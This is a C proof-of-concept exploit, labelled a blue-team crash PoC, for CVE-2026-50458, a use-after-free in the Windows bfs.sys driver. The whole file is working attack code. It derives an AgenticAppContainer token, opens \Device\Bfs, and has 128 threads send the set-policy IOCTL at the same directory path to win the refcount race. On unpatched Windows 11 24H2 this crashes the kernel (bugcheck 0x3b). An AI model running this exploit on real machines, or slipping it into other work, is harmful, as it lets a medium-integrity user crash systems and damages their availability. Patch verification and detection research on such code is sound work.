// poc_cve_2026_50458.c — CVE-2026-50458 bfs.sys directory-cache refcount UAF
// (blue-team crash PoC)
//
// Adapted from the reporter's writeup (rotcee):
//   https://rotcee.github.io/posts/CVE-2026-50458-finding-a-UAF-in-windows-brokering-file-system/
//
// Bug: BfsInsertDirectory publishes existingEntry+8 on duplicate AVL insert but
// skips the refcount increment (AgenticAppContainer branch). BfsAddOrModifyEntry
// then dereferences refs it never owned -> freed 'Bfse' (0xd0 paged pool) reused
// in BfsInsertDirectoryEntry -> bugcheck 0x3b.
//
// Requirements:
//   - Pre-KB5101650 Windows 11 24H2 (bfs.sys < 10.0.26100.8875), MEDIUM IL.
//   - >=4 threads hammering the SAME new path component (128x2000 default).
//   - Not reachable from Low IL (cannot create AC profile / open \Device\Bfs).
//
// Build (VS developer prompt):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_50458.c /link advapi32.lib ntdll.lib /out:poc_cve_2026_50458.exe

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <sddl.h>
#include <accctrl.h>

#pragma comment(lib, "advapi32.lib")

#ifndef FILE_OPEN
#define FILE_OPEN 0x00000001
#endif
#ifndef FILE_SYNCHRONOUS_IO_NONALERT
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(s) ((s) >= 0)
#endif

// ------------------------------------------------- kernel32 appmodel APIs --
// Not in the SDK import libs; exported by kernel32.dll on Win10+ — load them.
typedef HRESULT (WINAPI *PCreateAppContainerProfile)(
    PCWSTR, PCWSTR, PCWSTR, PSID_AND_ATTRIBUTES, DWORD, PSID *);
typedef HRESULT (WINAPI *PDeriveAppContainerSidFromAppContainerName)(
    PCWSTR, PSID *);
static PCreateAppContainerProfile pCreateAppContainerProfile;
static PDeriveAppContainerSidFromAppContainerName pDeriveAppContainerSid;

typedef NTSTATUS (NTAPI *PNtCreateFile)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
    PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS (NTAPI *PNtDeviceIoControlFile)(
    HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS (NTAPI *PRtlDeriveCapabilitySidsFromName)(
    PCUNICODE_STRING CapName, PSID CapGroupSid, PSID CapSid);

static PNtCreateFile pNtCreateFile;
static PNtDeviceIoControlFile pNtDeviceIoControlFile;
static PRtlDeriveCapabilitySidsFromName pRtlDeriveCapabilitySidsFromName;

// ------------------------------------------------------------- bfs ioctl ---
#define BFS_DEVICE        L"\\Device\\Bfs"
#define IOCTL_SET_POLICY  0x228004

#pragma pack(push, 1)
typedef struct _BFS_SET_POLICY_REQUEST {   // sizeof == 0x30
    HANDLE    TokenHandle;   // +0x00 AppContainer token (AgenticAppContainer cap)
    ULONG     EntryType;     // +0x08 2 = directory
    ULONG     PolicyType;    // +0x0c
    ULONG     PolicyFlags;   // +0x10
    ULONG     Reserved;      // +0x14
    ULONGLONG PathLength;    // +0x18 bytes, no NUL
    PWSTR     PathBuffer;    // +0x20 user-mode pointer
    ULONGLONG Operation;     // +0x28 0 = add/modify
} BFS_SET_POLICY_REQUEST;
#pragma pack(pop)

// ---------------------------------------------------------------- tunables -
#define K_THREADS 128        // >=4 needed; 128 gives pressure on VMs
#define K_ROUNDS  2000
#define RACE_ROOT L"C:\\BfsRace"

// ----------------------------------------------------------------- globals -
static HANDLE g_Token;
static HANDLE g_StartSem;
static HANDLE g_DoneEvent;
static WCHAR (*g_Paths)[MAX_PATH + 8];   // NT-style paths per round
static volatile LONG g_Round;
static volatile LONG g_Remaining;
static volatile LONG g_Stop;

// ------------------------------------------------------- appcontainer ------
static BOOL CreateAgenticToken(void) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
    pRtlDeriveCapabilitySidsFromName =
        (PRtlDeriveCapabilitySidsFromName)GetProcAddress(ntdll, "RtlDeriveCapabilitySidsFromName");
    pCreateAppContainerProfile =
        (PCreateAppContainerProfile)GetProcAddress(k32, "CreateAppContainerProfile");
    pDeriveAppContainerSid =
        (PDeriveAppContainerSidFromAppContainerName)GetProcAddress(k32, "DeriveAppContainerSidFromAppContainerName");
    if (!pRtlDeriveCapabilitySidsFromName || !pCreateAppContainerProfile || !pDeriveAppContainerSid) {
        printf("[-] required APIs not found (RtlDeriveCapabilitySidsFromName/AppContainer profile)\n");
        return FALSE;
    }

    BYTE capGroupSid[SECURITY_MAX_SID_SIZE] = {0};
    BYTE capSid[SECURITY_MAX_SID_SIZE] = {0};
    WCHAR capNameBuf[] = L"AgenticAppContainer";
    UNICODE_STRING capName = {0};
    capName.Buffer = capNameBuf;
    capName.Length = (USHORT)(wcslen(capNameBuf) * sizeof(WCHAR));
    capName.MaximumLength = capName.Length + sizeof(WCHAR);

    NTSTATUS st = pRtlDeriveCapabilitySidsFromName(&capName, capGroupSid, capSid);
    if (!NT_SUCCESS(st)) {
        printf("[-] RtlDeriveCapabilitySidsFromName: 0x%08lx\n", st);
        return FALSE;
    }

    SID_AND_ATTRIBUTES cap = {0};
    cap.Sid = capSid;
    cap.Attributes = SE_GROUP_ENABLED;

    PSID acSid = NULL;
    HRESULT hr = pCreateAppContainerProfile(L"BfsRaceAgentic", L"BfsRaceAgentic",
                                            L"BFS race validation profile",
                                            &cap, 1, &acSid);
    if (hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS))
        hr = pDeriveAppContainerSid(L"BfsRaceAgentic", &acSid);
    if (FAILED(hr)) {
        printf("[-] AppContainer profile failed: 0x%08lx (need Medium IL)\n", hr);
        return FALSE;
    }

    // Spawn a suspended child inside the AC purely as a token container.
    SECURITY_CAPABILITIES sc = {0};
    sc.AppContainerSid = acSid;
    sc.Capabilities = &cap;
    sc.CapabilityCount = 1;

    STARTUPINFOEXW six = {0};
    six.StartupInfo.cb = sizeof(six);
    SIZE_T alen = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &alen);
    six.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, alen);
    if (!six.lpAttributeList ||
        !InitializeProcThreadAttributeList(six.lpAttributeList, 1, 0, &alen) ||
        !UpdateProcThreadAttribute(six.lpAttributeList, 0,
                                   PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,
                                   &sc, sizeof(sc), NULL, NULL)) {
        printf("[-] ProcThreadAttribute setup failed: %lu\n", GetLastError());
        return FALSE;
    }

    WCHAR cmd[] = L"C:\\Windows\\System32\\notepad.exe";
    PROCESS_INFORMATION pi = {0};
    if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE,
                        EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
                        NULL, NULL, &six.StartupInfo, &pi)) {
        printf("[-] CreateProcess(AC child) failed: %lu\n", GetLastError());
        return FALSE;
    }
    if (!OpenProcessToken(pi.hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &g_Token)) {
        printf("[-] OpenProcessToken(AC child) failed: %lu\n", GetLastError());
        return FALSE;
    }
    TerminateProcess(pi.hProcess, 0);   // token stays valid (duplicated reference)
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    DeleteProcThreadAttributeList(six.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, six.lpAttributeList);
    printf("[+] AgenticAppContainer token acquired\n");
    return TRUE;
}

// ------------------------------------------------------------------ bfs ----
static HANDLE OpenBfsDevice(void) {
    UNICODE_STRING name;
    name.Buffer = (PWSTR)BFS_DEVICE;
    name.Length = (USHORT)(wcslen(BFS_DEVICE) * sizeof(WCHAR));
    name.MaximumLength = name.Length + sizeof(WCHAR);
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    IO_STATUS_BLOCK ios;
    HANDLE dev = NULL;
    NTSTATUS st = pNtCreateFile(&dev, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
                                &oa, &ios, NULL, 0,
                                FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                                FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
    return NT_SUCCESS(st) ? dev : INVALID_HANDLE_VALUE;
}

static void SendSetPolicy(HANDLE dev, const WCHAR *ntPath) {
    BFS_SET_POLICY_REQUEST req = {0};
    req.TokenHandle = g_Token;
    req.EntryType   = 2;            // directory
    req.PolicyType  = 0;
    req.PolicyFlags = 0;
    req.Operation   = 0;            // add/modify -> BfsAddOrModifyEntry path
    req.PathBuffer  = (PWSTR)ntPath;
    req.PathLength  = (ULONGLONG)(wcslen(ntPath) * sizeof(WCHAR));
    IO_STATUS_BLOCK ios;
    pNtDeviceIoControlFile(dev, NULL, NULL, NULL, &ios,
                           IOCTL_SET_POLICY, &req, sizeof(req), NULL, 0);
}

static DWORD WINAPI Worker(LPVOID param) {
    HANDLE dev = (HANDLE)param;
    for (;;) {
        if (WaitForSingleObject(g_StartSem, INFINITE) != WAIT_OBJECT_0) return 1;
        if (g_Stop) return 0;
        SendSetPolicy(dev, g_Paths[g_Round]);
        if (InterlockedDecrement(&g_Remaining) == 0)
            SetEvent(g_DoneEvent);
    }
}

static void EnsureDirTree(const WCHAR *path) {
    // create each component of C:\BfsRace\rN\a\b\c\d
    WCHAR buf[MAX_PATH];
    wcscpy_s(buf, MAX_PATH, path);
    for (WCHAR *p = buf + 3; ; p++) {
        if (*p == L'\\' || *p == 0) {
            WCHAR save = *p;
            *p = 0;
            CreateDirectoryW(buf, NULL);
            if (save == 0) break;
            *p = save;
        }
    }
}

int wmain(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2026-50458 - bfs.sys dir-cache refcount UAF (blue-team crash PoC)\n");
    printf("Source: rotcee writeup. Pre-KB5101650 builds should bugcheck 0x3b in bfs!BfsInsertDirectoryEntry.\n");

    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateFile = (PNtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
    pNtDeviceIoControlFile = (PNtDeviceIoControlFile)GetProcAddress(ntdll, "NtDeviceIoControlFile");
    if (!pNtCreateFile || !pNtDeviceIoControlFile) return 1;

    if (!CreateAgenticToken()) return 1;

    HANDLE dev0 = OpenBfsDevice();
    if (dev0 == INVALID_HANDLE_VALUE) {
        printf("[-] Open %ws failed (need Medium IL)\n", BFS_DEVICE);
        return 1;
    }
    CloseHandle(dev0);
    printf("[+] %ws opened\n", BFS_DEVICE);

    // pre-create round paths on disk (avoid the IoCreateFile fallback path)
    g_Paths = HeapAlloc(GetProcessHeap(), 0, K_ROUNDS * sizeof(*g_Paths));
    for (int r = 0; r < K_ROUNDS; r++) {
        WCHAR winPath[MAX_PATH];
        _snwprintf(winPath, MAX_PATH, L"%ws\\r%d\\a\\b\\c\\d", RACE_ROOT, r);
        EnsureDirTree(winPath);
        _snwprintf(g_Paths[r], MAX_PATH + 8, L"\\??\\%ws", winPath);
    }
    printf("[+] %d round paths pre-created under %ws\n", K_ROUNDS, RACE_ROOT);

    g_StartSem = CreateSemaphoreW(NULL, 0, K_THREADS, NULL);
    g_DoneEvent = CreateEventW(NULL, TRUE, FALSE, NULL);

    HANDLE threads[K_THREADS];
    for (int i = 0; i < K_THREADS; i++) {
        HANDLE dev = OpenBfsDevice();
        if (dev == INVALID_HANDLE_VALUE) { printf("[-] worker open %d failed\n", i); return 1; }
        threads[i] = CreateThread(NULL, 0, Worker, dev, 0, NULL);
    }
    printf("[+] %d workers ready; racing %d rounds ...\n", K_THREADS, K_ROUNDS);
    printf("[+] Unpatched: BSOD 0x3b AV_bfs!BfsInsertDirectoryEntry. Patched: completes.\n");

    for (int r = 0; r < K_ROUNDS; r++) {
        ResetEvent(g_DoneEvent);
        g_Remaining = K_THREADS;
        g_Round = r;
        ReleaseSemaphore(g_StartSem, K_THREADS, NULL);
        WaitForSingleObject(g_DoneEvent, INFINITE);
        if ((r % 100) == 99) printf("[*] round %d/%d\n", r + 1, K_ROUNDS);
    }

    g_Stop = 1;
    ReleaseSemaphore(g_StartSem, K_THREADS, NULL);
    WaitForMultipleObjects(K_THREADS, threads, TRUE, 5000);
    printf("[+] Done — no crash observed (patched, or race not won this run; retry).\n");
    return 0;
}
